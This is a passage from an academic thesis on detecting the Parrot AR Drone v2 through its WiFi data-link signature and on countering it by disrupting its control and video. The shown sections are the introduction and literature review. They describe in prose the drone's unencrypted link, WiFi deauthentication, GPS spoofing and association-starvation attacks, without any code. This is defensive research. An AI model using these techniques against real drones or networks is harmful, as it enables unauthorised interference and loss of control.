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Abstract
With the increasing proliferation of small civilian Unmanned Aerial Vehicles (UAVs),
the threat to critical infrastructure (CI) security and privacy is now widely recognised
and must be addressed. These devices are easily available at a low cost, with their
usage largely unrestricted allowing users to have no accountability. Further, current
implementations of UAVs have little to no security measures applied to their control
interfaces. To combat the threat raised by small UAVs, being aware of their presence is
required, a task that can be challenging and often requires customised hardware.

This thesis aimed to address the threats posed by the Parrot AR Drone v2, by presenting
a data link signature detection method which provides the characteristics needed to
implement a mitigation method, capable of stopping a UAVs movement and video
stream. These methods were developed using an experimental procedure and are
packaged as a group of Python scripts.

A suitable detection method was developed, capable of detecting and identifying a
Parrot AR Drone v2 within WiFi operational range. A successful method of disabling
the controls and video of a Parrot AR Drone in the air was implemented, with collection
of video and control commands also achieved, for after-the-event reconstruction of the
video stream.

Real-time video monitoring is achievable, however it is deemed detrimental to the flight
stability of the Parrot, reducing the effectiveness of monitoring the behaviour of an
unidentified Parrot AR Drone v2. Additionally, implementing a range of mitigations for
continued monitoring of Parrot AR Drones proved ineffectual, given that the mitigations
applied were found to be non-persistent, with the mitigations reverting after control is
returned to the controller. While the ability to actively monitor and manipulate Parrot
AR Drones was successful, it was not to the degree believed possible during initial
research.

Page 3 of 91

Contents
Abstract ............................................................................................................................. 3
Contents ............................................................................................................................ 4
Table of Figures................................................................................................................. 7
1.0 Introduction ................................................................................................................. 9
1.1 Background ............................................................................................................. 9
1.2 Significance ........................................................................................................... 11
1.3 Purpose .................................................................................................................. 11
1.4 Research questions ................................................................................................ 12
1.5 Definition of Terms ............................................................................................... 12
1.6 Thesis Structure ..................................................................................................... 14
1.7 Summary ............................................................................................................... 15
2.0 Literature Review ...................................................................................................... 16
2.1 Detection ............................................................................................................... 16
2.1.1 Radar .............................................................................................................. 17
2.1.2 Visual.............................................................................................................. 17
2.1.3 Acoustics ........................................................................................................ 18
2.1.4 Data link signatures ........................................................................................ 19
2.1.5 Hybrid Methods ............................................................................................. 20
2.2 Mitigations ............................................................................................................ 20
2.2.1 GPS ................................................................................................................ 21
2.2.2 Satellite........................................................................................................... 21
2.2.3 802.11 WiFi .................................................................................................... 22
2.2.4 Video .............................................................................................................. 23
2.3 Summary ............................................................................................................... 25
3.0 Research Methods and Design .................................................................................. 26
3.1 Research Approach................................................................................................ 26
Page 4 of 91

3.1.1 Object of Interest ............................................................................................ 28
3.1.2 Research Method ............................................................................................ 28
3.1.3 Identified Research Approach ........................................................................ 29
3.2 Research Design .................................................................................................... 29
3.3 Materials ................................................................................................................ 33
3.4 Data Analysis ........................................................................................................ 34
3.5 Limitations ............................................................................................................ 34
3.6 Summary ............................................................................................................... 34
4.0 Analysis and Discussion............................................................................................ 35
4.1 Expected Results ................................................................................................... 35
4.2 Detection ............................................................................................................... 35
4.2.1 Connection captures ....................................................................................... 35
4.2.2 Command Captures ........................................................................................ 39
4.2.3 File System Exploration ................................................................................. 40
4.2.4 Connected devices .......................................................................................... 42
4.2.5 Detection signature......................................................................................... 42
4.2.6 Summary ............................................................................................................ 43
4.3 Mitigation .............................................................................................................. 43
4.3.1 Control ........................................................................................................... 43
4.3.1.1 Deauthentication ..................................................................................... 43
4.3.1.2 Signal Jamming ....................................................................................... 44
4.3.1.3 ARP Cache Poisoning ............................................................................. 44
4.3.1.4 Command Injection ................................................................................. 46
4.3.1.6 Summary ................................................................................................. 54
4.3.2 Video .............................................................................................................. 54
4.3.2.1 Direct Video Connection ......................................................................... 54
4.3.2.2 Passive Video Capture............................................................................. 58
4.3.2.3 Video Prevention ..................................................................................... 60
Page 5 of 91

4.3.2.4 Summary ................................................................................................. 61
4.4 Discussion of Results ............................................................................................ 61
5.0 Conclusion ................................................................................................................ 63
5.1 Research Outcomes ............................................................................................... 63
5.2 Critical Review of Research.................................................................................. 69
5.3 Future Work........................................................................................................... 70
6.0 References: ................................................................................................................ 71
Appendix A: Parrot AR-Drone V2 Information .............................................................. 74
Appendix B: Captured Network Streams ........................................................................ 80
Appendix C: Developed Python Scripts ......................................................................... 86

Page 6 of 91

Table of Figures
Figure 1: The Range of Research Approaches (adapted from Galliers, 1990) ............... 27
Figure 2: Process Flowchart of the Research Programme .............................................. 29
Figure 3: Proposed Hypotheses and Related Research Questions .................................. 30
Figure 4: Proposed Initial Experiments........................................................................... 32
Figure 5: Identified Research Materials Table ................................................................ 33
Figure 6: Parrot Authentication Handshake .................................................................... 36
Figure 7: Authentication Packet Deconstruction ............................................................ 36
Figure 8: Output of TCP nmap scan of Parrot ................................................................ 37
Figure 9: Output of netstat Command on Parrot ............................................................. 37
Figure 10: Output of UDP nmap scan of Parrot .............................................................. 37
Figure 11: Identified additional Hypothesis .................................................................... 38
Figure 12: Network capture of Parrot AT commands ..................................................... 39
Figure 13: Output of ls- la on Parrot AR Drone v2 ......................................................... 41
Figure 14: Evidence of Parrot File Persistence ............................................................... 41
Figure 15: Further identified experiments....................................................................... 43
Figure 16: Details of arbitrary command injection ......................................................... 47
Figure 17: Network capture of control commands being ignored .................................. 48
Figure 18: Further generated Hypotheses ....................................................................... 49
Figure 19: Telnet Session to MAC Paired Parrot ............................................................ 50
Figure 20: Network capture of malformed UDP packet ................................................. 52
Figure 21: ffplay video stream access ............................................................................. 55
Figure 22: Network stream of Port 5555 ........................................................................ 57
Figure 23: Further identified Hypothesis ........................................................................ 58
Figure 24: Theorised real-time construction flow diagram............................................. 58
Figure 25: Research Questions and related Hypotheses ................................................. 64
Figure 26: Experiments and related Hypotheses ............................................................. 65
Figure 27: PaVE Definition ............................................................................................ 74
Figure 28: Listing of AT commands (Adapted from AR-Drone Developers Guide 2012)
......................................................................................................................................... 75
Figure 29: Format of video-disable AT Commands ........................................................ 76
Figure 30: Format of MAC un-pair AT commands ......................................................... 76
Figure 31: Format of GPS AT commands ....................................................................... 77
Figure 32: Listing 8.1, Port 5559 Information (adapted from AR Drone developer guide)
Page 7 of 91

......................................................................................................................................... 79
Figure 33: Initial Connection Capture............................................................................. 81
Figure 34: Capture showing Control Commands to 5556 ignored ................................. 83
Figure 35: Network log of UDP nmap scan Interrupting Control Stream ...................... 84
Figure 36: Parrots MAC Pairing Implementation ........................................................... 85
Figure 37: ftp Connection to Parrot ................................................................................ 85
Figure 38: netcat Connection to Parrot ........................................................................... 85
Figure 39: SSID Scan Script ........................................................................................... 86
Figure 40: Port Scan script .............................................................................................. 87
Figure 41: Deauthentication command ........................................................................... 87
Figure 42: Testing AT commands.................................................................................... 88
Figure 43: Disabling the Parrot ....................................................................................... 89
Figure 44: MAC spoofing and ARP cache poisoning ..................................................... 90
Figure 45: Sending Malformed Packets .......................................................................... 91
Figure 46: iptables port blocking .................................................................................... 91

Page 8 of 91

1.0 Introduction
This chapter presents the background of Unmanned Aerial Vehicles (UAVs), the topic of
this thesis; providing the necessary information and context needed to highlight the
problem this thesis aims to address. This is followed by an evaluation of the
significance of this research area, continued by a statement of stating the purpose of this
research. The research questions, which aim to increase the body of knowledge in the
area of UAV detection and mitigation, are then presented. To add further context to the
thesis topic, a definition of necessary terms is provided. The chapter concludes by
elaborating upon the structure of the remainder of the thesis.

1.1 Background
Unmanned Aerial Vehicles (UAVs), often referred to as “drones”, have been identified
as a Dual-Use technology, one that can be beneficial in both the military and civilian
domains (DECO, 2013; Weber, 2011). The military applications of UAVs have
advanced from reconnaissance missions to precision strikes as technology has advanced
quickly over the past fifteen years of deployed military combat, with UAVs undertaking
“dull, dirty and dangerous” tasks (Fahlstrom & Gleason, 2012; Gaub, 2011; Pastor,
Lopez, & Royo, 2007). The civilian application of this technology has grown rapidly
over the past five years, with demand rising in the commercial and business sectors to
use UAVs for a wide range of tasks including crop dusting, package delivery and
scientific research as running costs reduce to be competitive with, or lower than,
manned aircraft (Cox, Sommers, & Fratello, 2006; Hindle, 2013; Kaiser, 2011; Vanek,
2009). Civilian UAV applications are also advancing beyond “dull, dirty, dangerous”
tasks into widely accessible entertainment systems. A recent example is the Parrot AR
Drone 2. Released in 2012, its combination of features, price and availability has made
it popular. While the Parrot is primarily an entertainment device, due to its low cost it
has been used widely as a test bed device for developing proofs of concept in
universities for commercial UAV applications (Hartmann & Steup, 2013).
Unfortunately, this low cost, wide availability and low accountability for small civilian
UAVs provides the possibility of intentional malicious use, impacting security and
privacy.

Widespread adoption of UAVs is reliant on a number of factors including regulations,
safety and security. Recently, the USA passed the “FAA Modernization and Reform Act
of 2012” (Congress, 2012) to streamline amalgamation of UAVs into the National Air
Space (NAS), with current regulations preventing all UAVs over the NAS; while small
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UAVs such as the Parrot may operate under 400ft (~122m) in unregistered airspace
while not within five miles (~8km) of an airport. These regulations are similar under
other aviation authorities, such as the Civil Aviation Safety Authority Australia, or
CASA (CASA, 1998).

There are a number of safety issues needing to be solved before UAVs are incorporated
into registered airspace, the main issues being air-to-air detection and collision
avoidance (Kaiser, 2011). These issues are being addressed by aviation authorities such
as the FAA (Federal Aviation Administration) in the USA and CASA (CASA, 1998;
Congress, 2012). Safety in unregistered airspace is difficult to police and regulate, with
collision avoidance dependent primarily on the controller. This implementation of
collision avoidance is deemed acceptable as there are far less flying objects in
unregistered airspace with which to collide or damage, and ground obstacles are
resilient to UAV crashes due to the materials used in small UAV construction. This
being said, UAV crashes can cause significant harm to individuals, as shown in March,
2014 when a civilian UAV recording a triathlon crashed into a competitor (Safi, 2014).

The security weaknesses in commercial UAV designs are being explored by researchers
(Goraj, Rudinskas, & Stankunas, 2009; Shepard, Bhatti, & Humphreys, 2012), with a
focus on hardening the control systems to prevent unauthorised control of UAVs. The
same issues however, are not a focal point for smaller UAVs whose lack of security
measures by design could pose a significant threat to Critical Infrastructure (CI) and
civilian privacy due to small UAVs being unregistered, widely available and low cost.

The threats small UAVs pose to security and privacy in unregistered airspace are high
risk. The capability of the technology allows for the attachment of payloads such as
communication jammers or explosives (Butler, 2007; Reed, Geis, & Dietrich, 2011;
Turan, Gunay, & Aslan, 2012) that could damage or harm CI, operations, resources and
people. Additionally, the cameras mounted on these devices allow a user to gain
targeted visual information in areas not normally accessible such as over fences,
building rooftops or through windows in high-rise buildings. Currently, there are limited
mitigation techniques for small UAVs, with the focus being on detection (Gaub, 2011),
leading to the questions of this research, what actions can be taken after a UAV that
poses a threat to CI security or civilian privacy is detected? How can these actions be
mitigated?
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1.2 Significance
Current detection methods for small UAVs are focused on acoustic detection techniques
which suffer from a number of limitations including reliance on specialised hardware,
requiring databases of process-intensive sound signatures, and filtering techniques
required to eliminate background noise. To overcome these limitations consolidated
hybrid approaches using multiple detection techniques are commonly used but are not a
completely accurate solution. This research will provide a means of detecting small
UAVs through the use of data link signatures, with the aim of overcoming the
limitations of other detection techniques.

Whilst the majority of current research in this field is focused on detection techniques,
there is little evidence of research that addresses mitigation techniques for small UAVs.
This research presents a method of exploiting the characteristics of the data link
technology of small UAVs to mitigate payload delivery and privacy issues near CI and
private property.

It is predicted by the FAA that by 2018 over 10,000 small UAVs will be flying in
unregistered airspace in the USA (Fritz, 2012), with current sales disclosed by Parrot
being over 500,000 worldwide as of 2013 (Hargreaves, 2013). The potential impact to
privacy in society is large, with regulations aiming to address these privacy concerns not
keeping pace with the technology. Methods of enforcing regulations in unregistered
airspace are unheard of. This research provides a mitigation method which could be
extended to enforce future privacy legislation.

1.3 Purpose
The purpose of this research is to determine a method of detecting a specific small UAV,
from which control of the UAV can be gained to prevent payload delivery and
intelligence gathering from the device to mitigate the risks posed to CI and private
property.
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1.4 Research questions
1. How can a small civilian UAV be detected and controlled to mitigate privacy
and security issues generated from increasing unregistered airspace activity?
a. Is a signature-based method suitable for detection of small UAVs using a
widespread medium?
b. What methods can be used to manipulate control of a small civilian
UAV?
2. How can the video stream of small civilian UAVs be manipulated to address
privacy and security concerns?

1.5 Definition of Terms
Electronic Warfare (EW): Military action involving the use of electromagnetic and
directed energy to control the electromagnetic spectrum or attack an enemy. There are
three divisions of EW. Electronic Attack (EA), which involves manipulating energy to
attack personnel, facilities or equipment, with the aim of damaging or destroying the
targets capability. Electronic Protection (EP), which incorporates actions to prevent or
mitigate against electronic attack; and Electronic Warfare Support (EWS), which
involves the detection, identification and decision making against potential threats from
sources of electromagnetic radiation (USArmy, 2012).

Electro Magnetic Spectrum (EM): The range of all electromagnetic radiation, divided
into classifiable bands, including radio, infrared, visible light and ultraviolet light. The
bands are arranged in order of size of the wavelength proportional to its frequency
(USArmy, 2012).

Global Positioning System (GPS): GPS is a service that provides users with
positioning, navigation and timing services. There are a number of implementations of
GPS, this paper refers to GPS as the American GPS system; NAVSTAR, which is
operated by the United States Air force. The US implementation of GPS is achieved
through the use of three segments. The space segment which consists of a nominal
constellation of 31 satellites, to ensure at least 24 are available 95% of the time with at
least 4 satellites to be in range of a receiver at any one time. The control segment, which
consists of worldwide monitor and control stations which maintain the GPS clocks and
ensure the satellites maintain the correct orbit and the user segment, which uses a
receiver to calculate the receivers three dimensional position. There are two distinct
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types of GPS, civilian which is open access and available to all, and military GPS which
uses encrypted signals. GPS is used in a wide range of fields including aviation,
agriculture, mapping and transport. The GPS satellites also provide atomic clocks which
are used for precision timing in time sensitive actions, such as networking, radio and
financial transactions (NCO, 2013).

Media Access Control Address (MAC Address): A unique identifier code given to
hardware devices which contain 802 standard networking capabilities for addressing
packets to specific devices. The address consists of 6 bytes of 6 groups of 2
hexadecimal digits, where the first 3 octets are manufacturer specific; with each
manufacturer being allotted a specific portion of the MAC address space by the IEEE
(Carr & Snyder, 2007).

Moving Picture Experts Group (MPEG): MPEG is a working group of ISO/IEC that
develops standards for the coded representation of digital audio and video data. There
are a number of standards developed by MPEG, with each having a number
representing its version. One of the most common standards for video and audio coding
currently is MPEG4 (MPEG, 2013).

Packet: A segmented piece of data that is transferred over networked devices in a
standardised length accompanied by overhead information which provides additional
details of where the packet is going to and coming from (Carr & Snyder, 2007).

Unmanned Aerial Vehicle (UAV): Has a broad definition, initially defined as any
airborne device without an onboard pilot, it encompassed balloons, rockets and blimps.
UAV are now defined as an aircraft which does not contain a pilot onboard, instead
using data links and control stations to send and receive commands, with some
functionality provided via autonomous systems (Fahlstrom & Gleason, 2012).

Ultra High Frequency (UHF): Is a range in the radio EM spectrum defined as between
300MHz and 3GHz. UHF encompasses a number of wireless radio technologies,
including satellites, 3G (third generation) wireless and cellular telephones (Skolnik,
2008).
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Wireless Fidelity (WiFi): A standardised form of wireless communication developed
by the IEEE taskforce. There are a range of standards that fall into the classification of
WiFi including, 802.11a, 802.11b, 802.11g and 802.11n, which all provide different
ranges and data throughput (Ciampa, 2006).

1.6 Thesis Structure
The remainder of the thesis is split into four chapters. Chapter two delves into the
literature concerning the concepts related to UAVs, and presents a review of relevant
literature. A brief history of UAVs is detailed, with predictions of the future in this
technology, with subsequent sections of the chapter split into topic matters. First
presenting the body of knowledge related to detection methods applied to small civilian
UAVs, weighing the pros and cons of each method, along with outlining the gaps in the
body of knowledge. Second, the literature related to mitigation strategies for UAVs is
presented, covering the shifting paradigm from physical deterrents to electronic-based
mitigation strategies, targeting the data link communications which process control
commands and video onboard UAVs. Chapter two concludes with a summary of the
body of knowledge, detailing the knowledge gaps this thesis aims to fill.

Chapter three relates to the research methods and design of this thesis. Commencing
with detailing the various research approaches available in the related discipline of
information systems, which can be applied to computer science research. Analysis of
these approaches is undertaken, identifying the topic mater and subsequent related
methods to determine the approach. Next, the research design articulates the process to
be used for undertaking the identified research method. Following this, a number of
identified initial research experiments are listed. The materials used for research
purposes follows, with the method of data analysis employed during research after.
Finally, limitations upon this research are identified.

Chapter four explores the data gathered throughout the research. First, a prediction of
the results is presented, followed by the research results and analysis, grouped into
themes relating to the research questions. Detection-related research is presented,
followed by an elaboration of control-related research. A discussion of these results is
then conveyed concluding with a summary detailing how these results impact the body
of knowledge.
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Chapter five concludes this thesis, summarising the research undertaken, and framing
this research in terms of the research questions. Next, a critical review of the research
method is undertaken. Subsequently, future questions unearthed during this research are
presented as areas of future work to expand the body of knowledge in this field.

1.7 Summary
This chapter presented the background information relating to small civilian UAVs,
identifying the area to be explored by this thesis. Following this, the significance and
purpose of this research area was detailed; subsequently, a number of research questions
were framed, to be explored throughout the thesis. A definition of terms used in this
thesis followed, concluding with a structure of the remainder of the thesis. Chapter two
ascertains the body of knowledge for detection and mitigation of small UAVs through a
review of relevant literature.
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2.0 Literature Review
The technology embedded in UAVs has advanced rapidly over the past fifteen years
(Gaub, 2011). They have evolved into complicated embedded hardware devices,
capable of tasks beyond simple reconnaissance. UAVs have been predicted to be the
next “big technology”, with an estimated compound annual growth rate of 12% over the
next five years (Hindle, 2013). Increased civilian use has been propelled forward by the
reduction in cost of small electronic components, allowing small UAVs such as the
Parrot AR Drone v2 to be produced, with low cost, high availability and no
accountability. A security and privacy dilemma will occur over the coming years as
these devices become more widespread, increasing the risks posed by this technology to
security in critical infrastructure, and the privacy of society.

The current focal point of research in this area is the detection of small UAVs, which is
championed by modern militaries that recognise the threats posed by small UAVs
(Gaub, 2011; Turan, et al., 2012). In comparison, mitigation research lags somewhat, as
research shifts from physical mitigations such as anti-air defences to EW mitigation
strategies (Turan, et al., 2012). As such the literature review is structured into two
distinct sections, detection and mitigation. The detection section outlines the major
detection methods being researched, radar, visual, acoustics, data link signatures and
hybrid methods, detailing the approaches taken and any limitations of each method. The
mitigation section outlines areas from which control mitigations can be developed, thus
elaborating on issues where security of the control systems are weaker and have been
actively exploited. These areas include Global Positioning System (GPS), Satellite,
802.11 WiFi and Video transmission.

2.1 Detection
Small UAVs are much harder to detect than manned aircraft, in part due to the methods
of traditional aviation detection (Shi et al., 2011). The difficulty in detecting small
UAVs is an issue modern militaries are aiming to overcome, as it is a recognised threat
to CI, operations and people. Current research in this field is related to small militaryclassed UAVs; as a result there are a number of techniques being researched for UAV
detection in general, with some of these methods identified as being applicable for small
civilian UAVs.
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2.1.1 Radar
Radar was first used during WWII to detect ships over long stretches of open sea, it was
later turned to the sky, being used in modern aviation to avoid collisions between
aircraft and provide air controllers the ability to detect aircraft (Moses, Rutherford, &
Valavanis, 2011; Skolnik, 2008). Radar detects the electromagnetic waves (EM)
reflected from objects to determine range, speed and velocity. Objects reflect EM waves
at different frequencies over the EM spectrum due to the materials from which the
objects are constructed, with the majority of radar technology detecting reflections
between the 3MHz and 8 GHz bands (Skolnik, 2008). Skolnik points out that the lower
the frequency wave, the further away an object can be detected, with this in mind small
UAVs reflect a higher frequency EM than conventional mid to long range radars detect;
over 10GHz in the X-band frequency. The higher frequency limits the effective
detection range of small UAVs, unless the power and/or size of the detecting antenna is
increased (Skolnik, 2008). Increasing the power and size of the antenna may seem ideal
for small UAV detection, with a recent military radar effectively tracking small UAVs
over 90kms using the X-band (Eshel, 2013). However, as pointed out by Skolnik
(2008), this radar detection can be unreliable, as adverse weather conditions affect the
wave lengths reflected, distorting the wave. Additionally, radar detection equipment for
this frequency is expensive in terms of cost and power consumption (Moses, et al.,
2011), and quite large as demonstrated by the recent military radar which requires three
people to operate out of an armoured vehicle (Eshel, 2013). These limitations reduce the
use of radar technology for widespread small civilian UAV detection, as it is not suitable
to have the equivalent of a tank near CI, business districts or the suburbs for long range
detection. While short range tracking can be achieved using radar, its effectiveness is
reduced by weather conditions. Additionally, the components used in constructing small
UAVs are generally of non-reflective materials, such as plastic to reduce the weight of
the device. Non-reflective material adds to the difficulty of radar detection, with less
reflective surfaces reducing or preventing waves from reflecting back to the radar
(Skolnik, 2008).
2.1.2 Visual
Visual detection methods have been used to successfully detect and categorise larger
aircraft (Shi, et al., 2011). Using a number of cameras, Shi et al. (2011) created a
database of shadows to compare the captured image to classify and detect a light plane.
This method could be applied to small civilian UAVs, however by design this method
filters out smaller objects such as birds to reduce false positives, making the application
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to small UAVS more difficult. Additionally, the customisation of small UAVs creates
difficulties in building a classification database for positive identification, as each UAV
would have a unique image. Visual detection is also dependent on line of sight, and is of
limited use with adverse weather conditions such as fog or smoke (Dimitropoulos,
Grammalidis, Simitopoulos, Pavlidou, & Strintzis, 2005), with multiple cameras needed
to provide full 360 degree field of view detection (Chellappa, Gang, & Qinfen, 2004).
2.1.3 Acoustics
As claimed by Pham and Srour (2004), acoustic detection is not dependent on line of
sight, or size of the target UAV. Acoustic detection methods use arrays of microphones
to detect the sound emitted from mechanical devices, such as rotors and engines, and
then compare this sound signature with that stored in a database of previously collected
sound signatures (Averbuch, Rabin, Schclar, & Zheludev, 2012; Pham & Srour, 2004).
Collecting these signatures is a time consuming task, with multiple sound recordings
needed for each UAV target in different environments, along with process intensive
algorithms applied to generate the final signature for comparison and placement in the
database (Averbuch, et al., 2012).

This form of detection is a major research area, with many successful identifications of
aircraft by sound signature undertaken (Averbuch, et al., 2012; Azimi, 2012; Case,
Zelnio, & Rigling, 2008; Klaczynski & Wszolek, 2012; Pham & Srour, 2004; Shi, et al.,
2011), but with limited testing against small UAVs. The testing against small UAVs has
had research design flaws, with electric remote control (RC) planes used for test cases
rather than small UAVs (Case, et al., 2008). RC planes lack the embedded device
capability of small UAVs, preventing autonomous control, such as the passive hovering
or gliding state. As the aim of the sound signal captures for signature creation is to
gather as much information about the sounds a device emits in as many states as
possible, it seems that not using a small UAV could impact the acoustic data collected,
as the sounds of autonomous states will not be recorded.

While acoustic detection can be effective under certain circumstances, along with being
cost effective, as highlighted by Case et al. (2008) constructing an acoustic sensor from
low cost commercial products, and the adaption of a Raspberry Pi into an acoustic
sensor named Drone Shield ("Drone Shield," 2013), there are a number of limitations.
The acoustic detection method is reliant on customised hardware, with microphone
arrays, computers and software needed for sound signal collection. Additionally,
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microphone attached sensors are required for detection, limiting the use of adopting a
widespread platform. Data collection is a major issue for acoustic detection, factors such
as wind, temperature, time of day, obstacles and other sounds can bend the sound
waves, changing the direction the sound will travel (Mirelli, Tenney, Bengio, Chapados,
& Delalleau, 2009). Collection of a sound signal on a hot, low wind day in an open
plain will have significant differences to the signal on a cold, windy night in a forest
(Mirelli, et al., 2009; Roseveare & Azimi-Sadjadi, 2006). This causes the need for
multiple recordings in multiple environments for more precise, universally useable
signatures to be developed (Mirelli, et al., 2009), a task that not all researchers
undertake, with new custom databases constructed rather than expanding existing
signature databases (Shi, et al., 2011). Algorithms are applied to the raw sound data to
eliminate noise and form an identifiable signature, however unpredictable combinations
of temperature, wind and obstacles can cause “shadow zones” where the sound waves
refract upwards away from the detection sensor, reducing the effectiveness of
comparison to the signature. This phenomenon occurs low to the ground, at high
temperatures during the day with tall obstacles present, the typical description of an
urban area in which small civilian UAVs operate (Srour & Robertson, 1995).
2.1.4 Data link signatures
By design, all UAVs contain some sort of data link, to relay commands from the control
system to the UAV and provide information back, in the form of video or sensor data
(Barton, 2012; Fahlstrom & Gleason, 2012). Currently small civilian UAVs use one of
two types of data link, either 802.11 WiFi or ultra high frequency (UHF) radio. While
both of these data link technologies can suffer from interference, using UHF can cause
interference to other devices depending on the implementation, with commercially
available UHF receivers operating in the 433MHz range shared with garage doors and
central locking systems of cars, while the legal band in Australia (476MHz to 477MHz)
is shared with two-way radios (Radiocommunications (Citizen Band Radio Stations)
Class Licence 2002, 2011). It seems likely that UHF at these frequencies will be limited
in use for small UAVs, to prevent interference from consumer devices operating at these
frequencies, and to conform to the differing legal allocations of the EM spectrum
around the world. In contrast, 802.11 WiFi covers a world standardised part of the EM
spectrum, and has avoidance techniques and channels to mitigate interference, making it
easily applied to UAVs travelling in the convoluted EM spectrum of urban
environments.
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From a detection perspective, using data links seems promising, as all UAVs use them,
they are standardised to ensure they operate in the EM spectrum, and they have
characteristics that can make them identifiable by the controller, therefore identifiable
by others. The downlink video stream connection has been used as a form of detection
(Azimi, 2012), perhaps foreshadowing the future use of this detection method.
2.1.5 Hybrid Methods
To overcome the limitations of each detection method, a number of researchers have
begun consolidating techniques together into more hybrid methods. Using a
combination of radar, acoustics and visual detection Shi et al. (2011) was able to detect
and classify a light plane from 5km away. This method could be applied to small UAV
detection as reported by Azimi (2012). Hybrid methods are currently in the proof of
concept phase, being researched by U.S military departments (Azimi, 2012; Chellappa,
et al., 2004; Shi, et al., 2011). However these methods will still not address small
civilian UAV detection, as this method does not address needing customised hardware,
cost, power or size.

In summary, there are a range of detection techniques that have been applied to UAVs in
general, while they have differing values of success, these techniques have had limited
success in detecting small UAVs. Further work into data link signature identification
looks promising for small civilian UAVs, as these devices primarily use standard 802.11
WiFi, which can be detected using widespread available non-customised software and
hardware.

2.2 Mitigations
There is limited research in the field of UAV mitigation. It is recognised by the military
that the capability of defending against small manoeuvrable UAVs is not adequate, with
anti-air based weapon responses unable to lock onto such small targets, due in part to
detection methods. The focus has switched from a physical defence to cyber defence
using electronic warfare techniques (Turan, et al., 2012). As pointed out by threat
assessments of UAV systems (Hartmann & Steup, 2013; Javaid, Sun, Devabhaktuni, &
Alam, 2012; Turan, et al., 2012), the weakest part of UAV systems is the data link
control technology, which can be vulnerable to a wide range of attacks depending on the
technology in use (Javaid, et al., 2012). A number of real-world and proof of concept
attacks have been undertaken against a range of data link technologies.
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2.2.1 GPS
Global Positioning System (GPS) is a technology that originated in the military domain
and shifted into the civilian domain successfully. GPS uses between 4 and 8 in-range
orbiting satellites, to determine the current position of the receiver, and is now prevalent
in a wide range of devices, including cars, aircraft, navigation systems, wireless sensors,
critical infrastructure and smart phones (Shepard, et al., 2012). UAVs are no exception,
being reliant on GPS for a range of navigational tasks. By design, civilian GPS is
insecure, using unencrypted clear access (C/A) signals to reduce the complication of
encryption key distribution, and provide transparency and predictability (Shepard, et al.,
2012). This predictability however, leads to the ability to spoof GPS signals to send
different location information to the device. This concept was widely documented by
the media in December 2011; in relation to a CIA operated military UAV being captured
by Iranian forces (Hartmann & Steup, 2013; Shepard, et al., 2012). It was believed that
by jamming the encrypted military GPS signals, the UAV defaulted to L1 C/A civilian
GPS, allowing the signal to be spoofed and the UAV to be landed in Iran. To prove this
was the case, Shepard et al. (2012) constructed a GPS spoofer, and used it against a
small UAV, resulting in commands being sent to the UAV, allowing the “attacker” to
cause the UAV to spiral towards the ground, confirming the possibility of this attack.

While GPS spoofing could be an effective mitigation technique, Shepard et al. (2012)
claim that designing and building a GPS spoofer to be precise enough to allow for
control to be achieved is difficult, taking a significant amount of time, effort, cost and
knowledge. While off the shelf GPS simulators can be used for spoofing, they would
not be as consistent, providing only a jamming effect rather than command takeover,
limiting effectiveness (Shepard, et al., 2012). Additionally, GPS spoofing requires
customised hardware, a requirement this research is attempting to avoid. Furthermore,
the Parrot is not currently distributed with a GPS module stock standard, with either
various modifications required, or a Parrot GPS module required.
2.2.2 Satellite
Satellite telecommunications are used for long range UAVs, where line of sight is
broken between the ground controller and the UAV (Fahlstrom & Gleason, 2012). The
controls and data are sent between the ground controller and UAV via the satellite.
Again, security seems to be an afterthought in satellite communication design, with
some implementations having no encryption present (Goraj, et al., 2009) with the
potential for control to be overtaken by an external entity. It was discovered in 2007 that
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all US military UAVs, including Reapers and Predators did not encrypt the downlink
video stream from the satellite to the control station, allowing the signal to be received
by any observer tuned to the correct frequency (Fritz, 2012; Gaub, 2011). While this
shows a significant lack of security in UAV implementation, satellite communications
are not currently used by small UAVs (Fritz, 2012), and as such mitigation techniques
for satellite connected UAVs is out of the scope of this research.
2.2.3 802.11 WiFi
802.11 WiFi is a widely used standard for wireless technologies in a range of devices,
most commonly Wireless Local Area Networks for homes or business. 802.11 is known
to be vulnerable to a range of attacks, including spoofing, man in the middle, injection
and denial of service; the majority of which are mitigated by the use of encryption to
harden the wireless communication link (Jacob, Hutchinson, & Abawajy, 2011; Lei, Fu,
Hogrefe, & Tan, 2007). This leads to a situation where the security of 802.11 WiFi is
only as strong as the encryption standard being implemented. Small civilian UAVs can
use 802.11 WiFi as its data link control technology, one such UAV is the Parrot AR
Drone v2, which uses a smart phone or tablet to connect to the device over WiFi to act
as the ground controller (Bristeau, Callou, Vissiere, & Petit, 2011). From the
implementation of WiFi on the Parrot, no encryption is used on this link, impacting the
security of the device. While this is a design choice to keep hardware costs down, and
allow easier access to the lower technologically proficient target audience of the device,
it leaves the UAV vulnerable to a number of attacks. There are examples of deploying
encryption algorithms, such as WPA2 as a standalone module onto the Parrot to harden
the data link of these devices (daraosn, 2013), as such this research aims to develop a
method that can mitigate both standard and modified Parrot drones, regardless of
encryption being deployed. The hardening of civilian UAVs is not the topic of this
research, and is being addressed by other researchers in relation to the Parrot drones
(Pleban, Band, & Creutzburg, 2014).

While important, encryption is only a temporary solution for WiFi security; the 802.11
WiFi standard itself has a number of flaws, mainly in the area of management frames
(Ahmad & Tadakamadla, 2011). For wireless communications, the “listening device”
and “transmitting device” must know who to listen and transmit to, for this initial
connection to commence, management frames are used to associate and then
authenticate before communications commence (Housley & Arbaugh, 2003). By design,
management frames cannot be ignored by wireless devices, with the majority of
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standards not protecting management frames, this opens up an attack vector against
wireless devices. A major attack of this type is Deauthentication, whereby the attacker
sends Deauthentication management frames to the two connected devices,
disconnecting them. This allows for further attacks to commence, such as spoofing the
authorised connected device to impersonate and gain their data, or continually sending
Deauthentication packets as denial of service, preventing the wireless connection
(Bellardo & Savage, 2003). 802.11w addresses this attack by protecting the
management frames; however the standard is not backwards compatible with older
hardware, and opens up new WiFi attacks. One such attack is association starvation,
whereby a delay response field in the (re)association packet is forged with a large
response time, causing the access point to wait until a client’s association packet will be
accepted (Ahmad & Tadakamadla, 2011). Early indications from research by Peacock
and Johnstone (2013) show that small UAVs using 802.11 are susceptible to
Deauthentication attacks, which can be used as a mitigation technique against small
civilian UAVs.
2.2.4 Video
Video transmission between UAVs and ground controllers needs to be robust, low
power, high resolution, low distortion and low bandwidth (Fahlstrom & Gleason, 2012),
to account for the tailored hardware on UAVs, and the real-time need of video over a
narrow transmission bandwidth. A number of codec’s can solve these issues, with a
major codec being H.264, used in both military and civilian UAVs (Bennett, Dee, MinhHuy, & Hamilton, 2005; Bristeau, et al., 2011; Klassen, 2009). As the video
